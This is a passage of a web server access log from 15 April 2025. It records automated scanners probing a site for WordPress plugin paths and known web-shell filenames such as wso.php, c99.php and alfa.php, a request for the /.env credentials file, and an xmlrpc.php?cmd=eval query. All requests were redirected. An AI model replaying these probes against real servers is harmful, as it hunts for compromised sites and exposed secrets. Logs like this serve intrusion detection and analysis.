- - [15/Apr/2025:09:58:34 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:35 -0400] "GET /wp-includes/blocks/embed/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:36 -0400] "GET /wp-content/plugins/revslider/public/assets/js/libs/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:36 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:38 -0400] "GET /wp-includes/css/dist/customize-widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:38 -0400] "GET /wp-uploads.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:40 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:40 -0400] "GET /wp-wso.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:42 -0400] "GET /wp-content/plugins/pro-elements/modules/notes/database/query/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:42 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:44 -0400] "GET /wp-content/languages/themes//wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:45 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:45 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:47 -0400] "GET /wp2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:48 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:50 -0400] "GET /wp_class_datalib.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:51 -0400] "GET /wp-content/plugins/js_composer/include/params/options/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:51 -0400] "GET /wp-content/plugins/woocommerce/packages/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:52 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:52 -0400] "GET /backup/wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:53 -0400] "GET /images/headers/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:54 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:55 -0400] "GET /wp-content/themes/twentytwentythree/parts/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:55 -0400] "GET /ws.php?p= HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:56 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:58 -0400] "GET /wsa.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:58 -0400] "GET /wp-includes/css/dist/block-library/action/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:58:58 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:58:59 -0400] "GET /wso.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:00 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:03 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:03 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:04 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:04 -0400] "GET /wso2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:05 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:05 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:05 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:06 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:06 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:07 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:07 -0400] "GET /x/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:08 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:09 -0400] "GET /x2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:09 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:10 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:10 -0400] "GET /xindex.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:11 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:11 -0400] "GET /xl.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:13 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:13 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:14 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:15 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:16 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:17 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:17 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:19 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:20 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:21 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:22 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:23 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:25 -0400] "GET /xmlrpc.php?cmd=eval HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:26 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:27 -0400] "GET /xmlrpc.php?p= HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:28 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:31 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:31 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:32 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:32 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:37 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:37 -0400] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:39 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:40 -0400] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:42 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:42 -0400] "GET /y7.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:43 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:43 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:44 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:44 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:45 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:47 -0400] "GET /yq7.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:47 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:48 -0400] "GET /z.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:49 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:51 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:51 -0400] "GET /z63.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:51 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:53 -0400] "GET /zT.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:53 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:54 -0400] "GET /zqBSIrn38Ja.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:54 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:55 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:55 -0400] "GET /zwso.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:55 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.169.149.163 - - [15/Apr/2025:09:59:57 -0400] "GET /zz.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:57 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:09:59:58 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:00 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:01 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:02 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:04 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:06 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:09 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:14 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:17 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:20 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:23 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:26 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:28 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:29 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:31 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:35 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:38 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:41 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:43 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:44 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:46 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:50 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:53 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:56 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:00:58 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:00 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:04 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:08 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:11 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:15 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:19 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:21 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:25 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:29 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:31 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:39 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:43 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:48 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:51 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:53 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:55 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:01:57 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:01 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:04 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:06 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:08 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:11 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:16 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:19 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:22 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:23 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:24 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:26 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:26 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:27 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:29 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:31 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:34 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:37 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:38 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:41 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:43 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:46 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:48 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:50 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:53 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:54 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:56 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:59 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:02:59 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:03:00 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:03:01 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:03:03 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [15/Apr/2025:10:03:06 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 87.249.134.135 - - [15/Apr/2025:11:23:56 -0400] "GET /.env HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 87.249.134.135 - - [15/Apr/2025:11:23:58 -0400] "POST / HTTP/1.1" 301 795 "-" "python-requests/2.26.0" 197.147.217.168 - - [15/Apr/2025:11:27:23 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:27:28 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:27:31 -0400] "GET /ru.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:27:35 -0400] "GET /if.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:27:39 -0400] "GET /vuln.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:27:44 -0400] "GET /fw.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:27:47 -0400] "GET /skipper.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:27:52 -0400] "GET /skippershell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:27:58 -0400] "GET /tttt.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:04 -0400] "GET /tshop.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:10 -0400] "GET /alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:14 -0400] "GET /shell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:18 -0400] "GET /inje3ctor.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:23 -0400] "GET /saudi.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:27 -0400] "GET /wso.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:31 -0400] "GET /alfashell.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:37 -0400] "GET /my_alfa.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:40 -0400] "GET /uploader.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:44 -0400] "GET /up.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:49 -0400] "GET /hacked.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:28:55 -0400] "GET /c99.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:01 -0400] "GET /priv8.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:04 -0400] "GET /Navir.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:07 -0400] "GET /cmd13.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:10 -0400] "GET /inc20k1.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:13 -0400] "GET /1index.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:16 -0400] "GET /404.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:19 -0400] "GET /swm.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:25 -0400] "GET /wp.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:30 -0400] "GET /doc.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:34 -0400] "GET /shx.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:38 -0400] "GET /ws.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [15/Apr/2025:11:29:41 